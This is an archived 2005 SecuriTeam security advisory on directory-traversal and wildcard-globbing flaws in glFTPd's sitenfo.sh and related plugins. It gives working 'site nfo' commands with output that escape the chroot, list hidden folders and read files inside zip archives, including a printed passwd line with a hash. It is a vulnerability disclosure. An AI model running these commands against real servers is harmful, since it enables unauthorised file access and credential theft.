From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 21 Feb 2005 10:48:28 +0200
Subject: [UNIX] Multiple Vulnerabilities in glFTPd's Plugins
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050221123631.57404581E@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Multiple Vulnerabilities in glFTPd's Plugins
------------------------------------------------------------------------
SUMMARY
<http://www.glftpd.com/>; glFTPd is "a free FTP server for UNIX based
systems. It is highly configurable and its possibilities are endless".
The plugins sitenfo.sh, siteziplist.sh and sitezipchk.sh allow users to
read files on the entire system including the content of a zip file.
DETAILS
This advisory will focus on the plugin sitenfo.sh, a script that allow
users to read .nfo and .diz files from within zip archives ("SITE NFO" by
default). Although the exploits are synonymous with siteziplist.sh and
sitezipchk.sh.
Due to improper input validation several flaws exist in the script that
can allow unprivileged access to files within the glFTPd chroot and
information disclosure of private files.
Step 1: Directory transversal
In order to prove the existence of file that resides outside of the FTP
site root directory we can do the following:
ftp> site nfo ../etc/grouap
200- dn's NFO Lister v1.00
200-
200- That zipfile (../etc/grouap) does not exist!
200 Error executing command.
ftp> site nfo ../etc/group
200- dn's NFO Lister v1.00
200-
200- nfo(s) from ../etc/group:
200-
200 Command Successful.
As you can see we found that the file ../etc/group exists, the file is
outside of the default FTP root path.
Step 2: Directory transversal attack
Due to improper parsing of *, a user can return the first two files in any
directory ($1 $2), including files within 'private' or hidden directory's
such as the 'staff' folder.
ftp> site nfo ../../../../../etc/*
200- dn's NFO Lister v1.00
200-
200- ../../../../../etc/group from ../../../../../etc/ftpd-dsa.pem:
And to view inside private folders within the FTP root (that usually you
are unable to see)
ftp> site nfo staff/*
200- dn's NFO Lister v1.00
200-
200- staff/Mark from staff/Peter:
200- Command Successful.
ftp> cd staff
200- No such file or directory.
As you can see the staff/Mark and staff/Peter exists, although we are
unable to see the directory staff/ by default (since we have no access to
it).
This can be further exploited to build a full directory tree by using
guided wild-cards within the globbed request, such as.
site nfo ../../../../../etc/a*
site nfo ../../../../../etc/b*
site nfo ../../../../../etc/c*
And so on and so forth to list all valid files and directories.
Finally you can use the script to also view any file inside any zip file
within the glFTP root directory, such as backups or zip files in private
directories.
First, we find a zip file.
ftp> site nfo ../../*.zip
200- dn's NFO Lister v1.00
200-
200- nfo(s) from ../../backup.zip:
backup.zip exists outside the glFTPd site root and is returned in $1 to
sitenfo.sh
Now we will read all files within backup.zip that begin wtih 'p'
ftp> site nfo ../../backup.zip p*
200- dn's NFO Lister v1.00
200-
200- passwd from ../../backup.zip:
200-
glftpd:$c8aa2099$89be575337e36892c6d7f4181cad175d685162ad:0:0:0:/site:/bin/false
This will of cause only work for zip compressed files, not gzip files.
Combined, these flaws allow a user to browse the glFTP chrooted
environment and then read any file inside any zip file. Considering zip
files may contain sensitive information such as backups or private
documents, this exploit could easily lead to further privilege escalation.
sitezipchk.sh and siteziplist.sh both contain similar exploits, although
Paul has noticed sitenfo.sh is more frequently used in glFTPd sites.
ADDITIONAL INFORMATION
The information has been provided by
<mailto:headpimp@pimp-industries.com.> Paul Craig.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
